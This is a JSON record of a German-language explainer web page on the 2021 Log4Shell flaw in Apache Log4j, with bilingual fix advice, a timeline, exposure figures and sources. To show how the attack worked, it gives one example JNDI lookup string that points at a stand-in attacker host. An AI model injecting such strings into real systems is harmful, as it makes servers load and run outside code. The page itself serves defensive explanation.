{"data":{"case":{"actions":{"de":["Aktualisiere Log4j auf **2.17.1** oder neuer; unter Java 7 nimm **2.12.4**, unter Java 6 **2.3.2**.","Such Log4j auch in anderen Produkten: Die meisten Pakete binden es über andere Pakete ein. Frag deshalb deine Softwarehersteller, ob ihre Versionen behoben sind.","War eine alte Version jemals aus dem Internet erreichbar, prüfe Logs und Systeme auf Spuren eines Angriffs: Die ersten Versuche gab es am 1. Dezember 2021, bevor die Lücke öffentlich war."],"en":["Update Log4j to **2.17.1** or newer; on Java 7 use **2.12.4**, on Java 6 **2.3.2**.","Look for Log4j inside other products too: most packages include it through other packages, so ask your software vendors whether their versions are fixed.","If an old version was ever reachable from the internet, check logs and systems for signs of attack: the first attempts came on December 1, 2021, before the flaw was public."]},"criteria":{"damage":{"de":"Ein Gesamtschaden ist nicht dokumentiert, und das US-amerikanische Cyber Safety Review Board fand, dass die Lücke weniger ausgenutzt wurde, als viele Fachleute vorhergesagt hatten (CSRB, Juli 2022).","en":"No total damage is documented, and the US Cyber Safety Review Board found exploitation lower than many experts had predicted (CSRB, July 2022).","met":false},"exploitation":{"de":"Angriffsversuche erreichten bis zum 20. Dezember 2021 mehr als 48 % der Unternehmensnetze weltweit (Herstellerdaten von Check Point).","en":"Attack attempts reached more than 48 % of corporate networks worldwide by December 20, 2021 (Check Point vendor data).","met":true},"reach":{"de":"35.863 Java-Pakete auf Maven Central, mehr als 8 % aller, nutzten den fehlerhaften Code: weniger als ein Zehntel, und eine Zahl betroffener Systeme ist nicht dokumentiert (Google, 16. Dezember 2021).","en":"35,863 Java packages on Maven Central, more than 8 % of all, used the flawed code: short of a tenth, and no count of affected systems is documented (Google, December 16, 2021).","met":false},"response":{"de":"Das BSI stufte seine Warnung am 11. Dezember 2021 auf die Warnstufe Rot hoch, und die CISA erließ am 17. Dezember die Notfallanweisung 22-02 (BSI; CSRB-Bericht).","en":"Germany's BSI raised its warning to level red on December 11, 2021, and CISA issued Emergency Directive 22-02 on December 17 (BSI; CSRB report).","met":true}},"cves":["CVE-2021-44228","CVE-2021-45046","CVE-2021-45105","CVE-2021-44832"],"cvss":10,"cvss_version":"3.1","cwe":"CWE-917, CWE-20, CWE-674","dates":[{"date":"2021-11-24","key":"reported"},{"date":"2021-12-01","key":"exploited"},{"date":"2021-12-09","key":"disclosed"},{"date":"2021-12-10","key":"patched"},{"date":"2021-12-11","de":"Das BSI stuft seine Warnung auf die Warnstufe Rot hoch","en":"Germany's BSI raises its warning to level red"},{"date":"2021-12-17","de":"Die CISA erlässt die Notfallanweisung 22-02 für US-Bundesbehörden","en":"CISA issues Emergency Directive 22-02 to US federal agencies"}],"de":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) und 2.3.2 (Java 6); erster Fix 2.15.0 am 10. Dezember 2021","product":"Apache Log4j 2, eine Logging-Bibliothek für Java-Programme","summary":"Eine Zeile Text in einem Log genügte, damit Server den Code von Angreifern ausführten, über eine Java-Bibliothek, von der 35.863 Pakete abhingen."},"disclosed":"2021-12-09","en":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) and 2.3.2 (Java 6); first fix 2.15.0 on December 10, 2021","product":"Apache Log4j 2, a logging library for Java programs","summary":"One line of text in a log was enough to make servers run attackers' code, through a Java library that 35,863 packages depended on."},"figures":[{"de":"Java-Pakete auf Maven Central nutzten den fehlerhaften Code, mehr als 8 % aller (Google)","en":"Java packages on Maven Central used the flawed code, more than 8 % of all (Google)","value":"35,863"},{"de":"der Unternehmensnetze weltweit sahen bis zum 20. Dezember 2021 Angriffsversuche (mehr als; Daten von Check Point)","en":"of corporate networks worldwide saw attack attempts by December 20, 2021 (more than; Check Point data)","value":"48 %"},{"de":"Minuten nach der Veröffentlichung sah Cloudflare den ersten Angriffsversuch","en":"minutes after the flaw went public, Cloudflare saw the first attack attempt","value":"9"},{"de":"Stunden wendete ein einziges US-Bundesministerium für seine Reaktion auf","en":"hours one US federal department spent on its response","value":"33,000"}],"kev":"2021-12-10","key":"log4shell","name":"Log4Shell","product":"Apache Log4j 2","sources":[{"de":"Apache Logging Services: Sicherheitsseite zu Log4j, mit Bewertungen und korrigierten Versionen","title":"Apache Logging Services: Log4j security page, with scores and fixed versions","url":"https://logging.apache.org/security.html"},{"de":"Versionshinweise zu Log4j","title":"Log4j release notes","url":"https://logging.apache.org/log4j/2.x/release-notes.html"},{"de":"NVD: CVE-2021-44228","title":"NVD: CVE-2021-44228","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-44228"},{"de":"CVE-Eintrag CVE-2021-44832, mit den korrigierten Versionen","title":"CVE record CVE-2021-44832, with the fixed versions","url":"https://www.cve.org/CVERecord?id=CVE-2021-44832"},{"de":"US Cyber Safety Review Board: Untersuchung des Log4j-Vorfalls (Juli 2022, PDF)","title":"US Cyber Safety Review Board: review of the Log4j event (July 2022, PDF)","url":"https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf"},{"de":"Google: das Ausmaß der Log4j-Lücke","title":"Google: understanding the impact of the Log4j flaw","url":"https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html"},{"de":"Cloudflare: Ausnutzung von Log4Shell vor der Veröffentlichung","title":"Cloudflare: exploitation of Log4Shell before its disclosure","url":"https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/"},{"de":"Check Point: die Zahlen hinter den Log4j-Angriffen (Herstellerdaten)","title":"Check Point: the numbers behind the Log4j attacks (vendor data)","url":"https://blog.checkpoint.com/security/the-numbers-behind-a-cyber-pandemic-detailed-dive/"},{"de":"BSI: Warnstufe Rot wegen Log4Shell (11. Dezember 2021)","title":"BSI: warning level red for Log4Shell (December 11, 2021, in German)","url":"https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html"},{"de":"Sonatype: verwundbare Log4j-Downloads im Jahr 2025","title":"Sonatype: vulnerable Log4j downloads in 2025","url":"https://www.sonatype.com/blog/unnecessary-risk-the-persistence-of-open-source-vulnerabilities"}],"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","year":2021}},"description":"Eine Lücke in der Java-Bibliothek Log4j ließ Angreifer mit einer Textzeile Server übernehmen. Wie das ging, wie weit es reichte, was jetzt zu tun ist.","language":"de","latest_measurement":"2026-10-23","method":"latency-v3","method_page":"https://crackthe.net/de/methode/","source":"https://crackthe.net/","text":"Am 9. Dezember 2021 wurde eine Sicherheitslücke in Log4j öffentlich, durch einen inzwischen gelöschten Beitrag auf Twitter. Log4j ist eine Bibliothek der Apache Software Foundation, mit der Java-Programme Logs schreiben, also Protokolle darüber, was ein Programm tut. Gelang es einem Angreifer, eine kurze Textzeile in irgendetwas zu bringen, das ein solches Programm protokollierte, konnte der Server den Code des Angreifers laden und ausführen, ganz ohne Passwort.\nDie US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.\nSo funktionierte der Angriff Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte: einen Benutzernamen, eine Chat-Nachricht oder den Browsernamen, den eine Webanfrage üblicherweise mitschickt. Der Server nahm dann Kontakt zum Verzeichnisserver des Angreifers auf, erhielt einen Verweis auf ein Java-Programm und lud und startete es, je nach Java-Version und vorhandenen Bibliotheken.\nAngreifersendet eine Anfrage mit einem Lookup-Text Log4jprotokolliert den Text und wertet den Lookup aus Servernimmt Kontakt zum Verzeichnisserver des Angreifers auf Javalädt den Code des Angreifers und führt ihn aus Log4Shell in vier Schritten: Der Angreifer meldet sich nie an. Es reicht, dass der Server den Text in sein Log schreibt. Reichweite, Angriffe und Schaden Am 16. Dezember 2021 zählte Google auf Maven Central, der wichtigsten öffentlichen Sammelstelle für Java-Bibliotheken, 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete dort, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die meisten bezogen es über andere Pakete, meist fünf Ebenen tief.\nJava-Pakete auf Maven Central und Log4Shell Betroffene Pakete35.863 Davon mit Log4j als direkter Abhängigkeit (etwa)7.000 Nach weniger als einer Woche behoben4.620 Quelle: Google Open Source Insights, 16. und 17. Dezember 2021.\nDie Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch nach dem Beitrag registrierte Cloudflare nur neun Minuten danach. Dann rollte die Welle an.\nVon Cloudflare blockierte Log4Shell-Angriffe Dezember 5.483 Dezember 18.606 Dezember 27.439 Dezember 24.642 Blockierte Anfragen pro Minute, Tagesdurchschnitt, Dezember 2021. Herstellerdaten von Cloudflare.\nFünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert und Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche, und sie lassen sich nicht miteinander vergleichen.\nUnternehmensnetze mit mindestens einem Angriffsversuch Österreich59 % Deutschland54 % Schweiz47 % USA46 % Herstellerdaten von Check Point, Stand 13. Dezember 2021.\nWie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board, das den Fall 2022 untersuchte, stellte fest, dass die Lücke weniger ausgenutzt wurde, als viele Fachleute angesichts ihrer Schwere vorhergesagt hatten. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.\nFix und Reaktion Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig, und es folgten drei weitere Versionen.\nVier Log4j-Versionen in 17 Tagen 1 2 3 4 110. Dezember 20212.15.0 schränkt JNDI-Lookups ein, lässt aber eine Lücke 213. Dezember 20212.16.0 entfernt Lookups in Meldungen und schaltet JNDI standardmäßig ab\u0026#43;3 Tage 317. Dezember 20212.17.0 behebt einen Lookup, der sich so lange wiederholt, bis das Programm abstürzt\u0026#43;7 Tage 427. Dezember 20212.17.1 behebt einen Angriff über das Protokollieren in Datenbanken\u0026#43;17 Tage Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, mit 5,9. CVE-2021-44832, bewertet mit 6,6, funktioniert nur für einen Angreifer, der die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.\nBehörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.\nAuch Jahre später noch im Einsatz Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. 2025 enthielten laut Sonatype noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, rund 40 Millionen.","title":"Log4Shell: Wenn eine Log-Zeile den Code des Angreifers startet","url":"https://crackthe.net/de/schwachstellen/log4shell/"}